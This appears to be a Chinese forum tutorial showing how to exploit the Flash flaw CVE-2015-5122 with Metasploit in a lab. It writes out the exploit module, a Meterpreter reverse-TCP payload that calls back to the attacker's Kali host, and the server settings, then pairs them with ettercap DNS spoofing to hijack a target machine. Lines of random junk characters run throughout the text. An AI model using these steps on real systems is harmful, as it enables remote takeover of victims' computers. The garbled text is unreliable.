|
" T3 ?- _/ r# D/ p 二、cve2015-5122漏洞实例演示虚拟机
9 J$ u/ T# n B! e) m( h / u8 V& e& Y' o# r+ ~) b
, M* t* N$ K" L/ i; [ 关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015年flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图:
# X/ b: \* G+ q6 p! |4 T" K - s3 _) |# r" [9 b/ g2 B
6 j$ ?" y( ?/ O1 f* e% q8 n% } search cve-2015-5122如图: : P- U& ?6 \1 F- \
! q& k: O) N4 y- U. ~% _5 u# ]3 [$ Y; Y
- D" s; s) c9 j) d! S
/ b$ [1 T/ M- N# k' r! |# q' r1 F* x: f; F2 g1 _
下面我们敲如下命令: 3 O4 t1 M A$ `9 I1 n0 O1 _- Q, ~
( ?" ^0 [' {" e& P Q0 o% i) y* t; Z+ A1 ?1 \8 G
use exploit/multi/browser/adobe_flash_opaque_background_uaf
: V5 d4 A9 H0 G; K+ L * b ?1 Y1 v% ]& O6 c
' b5 D3 j; k+ u" x9 e$ r set PAYLOAD windows/meterpreter/reverse_tcp
% z+ ]& }& y) r& N 7 b: A! } u8 I& U1 k- Q6 r" j5 S
0 ?9 U) j: \! y* R$ g' N
set LHOST 192.168.0.109 1 b# T. ]9 P7 y+ e Y% O
# t* {! U4 f6 J8 |% d" r, h9 M: L X8 e
set URIPATH / /*根目录*/ ) K. b! y5 ?6 n+ N
+ \" Y- R; p7 _
, `+ Y# A' Y0 s/ K: j7 \ set SRVHOST 192.168.0.109 //192.168.0.109为kaili ip地址 % D$ v9 Y, W& M4 D" O+ X- V
& z; V( U/ X7 [6 s6 _% h% g( @
/ @1 I; Z0 K- z3 \' s set SRVPORT 80 /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 . Q c: ~, c1 f( Y) M
6 R3 O: n* h- u
4 z0 b' I4 l3 x" Y4 @, S# { 然后show options如图:
8 e$ A1 B% P) x6 g
, {' `4 C9 ?9 F* y% ?6 x; x) i. c4 u6 ~( U
" S3 L( Y* D$ [* G3 d" z/ G. H
* a8 |* V! G, g/ O; V: K3 E/ H; q: F6 L
一切都设置好了,执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图: : H1 u. l/ [9 X3 E0 b, S; E
3 C$ c. B' `5 O2 m7 h( @
{7 N1 y# \, `! C+ a2 n. Y3 e: O
1 F5 i$ w2 U4 a# u( l 然后ettercap -G命令打开ettercap,我们要攻击的主机ip是192.168.0。115
& h& K; K% ?9 g7 a
2 s0 C; W/ z1 m5 Z. L% F: i/ p
8 ]9 n4 F% ]$ B Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf * U* ~4 Y7 ? g( F5 I- v
1 x2 A Z% y( Q( Z
$ S# x. |- s4 g) B/ l8 D, b9 D+ Q' v : W k3 |( {( ~' w
3 ]5 |- f* q* `1 y; {( m9 `- @+ y, ~
V$ E4 N3 B( U0 X% [& k( _; F" f 成功了,这时候我们断开ettercap,如图: # k9 |: w0 c" }2 F. y- X6 B0 u
$ O3 g2 k7 U/ i& I4 M7 f: r
9 B9 R# o, r8 y% |% E" P
2 I6 m z% f& K" C& y8 y
6 y) d. b; Q2 i- i- g, [$ y( U0 O
. n3 y' _. a y# d Screenshot如图:
$ z& z, H) W% Z4 i' r) e8 Y u5 L& h, V2 s8 q) m9 _) b
# y: a! k# b, f( I6 X, d) y
- f# ]" e4 z/ l
; Z3 g- f3 [6 Q' B. v4 @6 ?4 D" A! _5 v+ S1 f( C: E8 C9 c }4 a f
+ F% g9 V) T b/ l" x1 q& r( I
|